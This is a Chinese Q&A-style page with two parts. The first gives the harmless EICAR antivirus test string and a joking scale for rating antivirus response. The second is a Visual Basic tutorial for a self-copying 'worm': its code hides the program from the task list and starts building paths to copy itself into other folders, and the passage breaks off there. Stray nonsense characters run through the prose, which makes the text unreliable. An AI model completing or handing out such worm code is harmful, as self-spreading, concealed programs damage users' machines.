病毒测试代码都有什么？

几个字符测试你的杀毒软件杀毒性能带旦则 \x0d\x0a----------------------------------- \x0d\x0a\x0d\x0a 无需下载，把下面这段代码复制到记事本里，保存为文本文件（即在桌面上点按迟樱右键，新建一个文本文档，复制进去），然后静观杀毒软件之变。若有反应，那您蠢棚就可以初步放心了。。。 注意,本病毒代码绝对不会伤害计算机.请放心!!! \x0d\x0aX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* \x0d\x0a\x0d\x0a 这段代码是欧洲计算机防病毒协会开发的一种病毒代码，，其中的特征码已经包含在各种杀毒软件的病毒代码库里，所以可以用做测试病毒扫描引擎。 \x0d\x0a下面是等级: \x0d\x0a特等:复制完代码后便提示内存有病毒 \x0d\x0a优等:刚保存完就提示病毒(或者直接删除) \x0d\x0a中等:保存后几秒提示病毒(或者直接删除) \x0d\x0a下等:需自己启动病毒扫描查杀才提示病毒(或者直接删除) \x0d\x0a劣等:无论怎么扫描都无法提示病毒(或者直接删除)

蠕虫病毒小代码

打开Visual Basic，选择“Standard EXE”的Project。移除那个Form，然后加基李岩入一个Module。点击Project->Project1 Properties。在d出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：

Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。App.TaskVisible = False End Sub。

以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹扰行。

在Sub Main中键入以下的编码搏御：

＇阻止问题发生On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置Location = App.Path &"\" &App.EXEName &".exe" Location2 = App.Path &App.EXEName &".exe"。

---